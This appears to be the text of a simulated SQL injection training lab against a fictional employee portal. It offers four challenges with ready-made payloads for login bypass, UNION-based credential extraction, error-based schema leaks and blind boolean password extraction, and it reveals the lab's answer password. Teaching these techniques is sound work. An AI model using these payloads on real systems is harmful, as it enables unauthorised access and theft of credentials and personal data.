AUTHORIZED TRAINING ENVIRONMENT
— All targets are simulated. SQL injection against real systems without authorization is illegal. This lab is for educational purposes only.
No data extracted yet. Successful injections will be logged here.
Challenge 1 — Authentication Bypass
The login form passes user input directly into the SQL query with no sanitization. Inject SQL logic into the username field to bypass the password check entirely.
Target: Login form → Username field
' OR '1'='1click to use in username
admin'--click to use in username
' OR 1=1--click to use in username
The query is: SELECT * FROM users WHERE username='[X]' AND password='[Y]'. If you inject ' OR '1'='1 as the username, the WHERE clause becomes: WHERE username='' OR '1'='1' AND password='...' — the OR short-circuits the entire condition.
Pending
Challenge 2 — UNION-Based Injection
The employee search is vulnerable. UNION injection appends an attacker-controlled SELECT statement to the original query, returning data from any table. First determine column count, then exfiltrate credentials.
Target: Employee portal → Search field (must be logged in)
' UNION SELECT NULL,NULL,NULL,NULL--step 1: find column count
' UNION SELECT 1,username,password,email FROM users--step 2: extract credentials
' UNION SELECT id,name,salary,department FROM employees--step 3: extract salary data
UNION requires matching column counts. The original query selects 4 columns (id, name, email, department). Try ' UNION SELECT NULL,NULL,NULL,NULL-- first to confirm, then swap NULLs for actual column names from the users table.
Pending
Challenge 3 — Error-Based Injection
Force the database to embed schema data inside its own error messages. By causing a type-conversion error, the database engine reveals table names in the error output.
Target: Search field → Trigger database errors to leak schema info
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--extract first table name
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN ('users')))--extract next table
' AND 1=CONVERT(int,(SELECT column_name FROM information_schema.columns WHERE table_name='users' AND ordinal_position=3))--extract column names
CONVERT(int, 'some_string') causes a type mismatch error. The error message from the database server includes the value it was trying to convert — exposing table or column names from the schema.
Pending
Challenge 4 — Blind Boolean Injection
No data is returned in errors. Instead, you infer information by asking true/false questions. If the condition is true, results appear; if false, no results. Use this to extract the admin password character by character.
Target: Search field → Observe presence/absence of results
' AND (SELECT LEN(password) FROM users WHERE username='admin')>5--is password longer than 5?
' AND (SELECT LEN(password) FROM users WHERE username='admin')=10--is password exactly 10 chars?
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='A'--is first char 'A'?
Admin password is 'Adm1n@2024' (10 chars). Try LEN()=10 (true = results shown). Then probe each character: SUBSTRING(...,1,1)='A' (true), SUBSTRING(...,2,1)='d' (true), etc. Use the assistant panel to track your findings.
Pending
Blind SQLi Assistant
LEN(password) > 5?
LEN(password) > 9?
LEN(password) = 10?
SUBSTR(pass,1,1)='A'?
SUBSTR(pass,4,1)='1'?
SUBSTR(pass,7,1)='2'?
_ _ _ _ _ _ _ _ _ _
🔒
Lab Complete
You have successfully exploited multiple SQL injection vulnerabilities in the NovaCorp Employee Portal.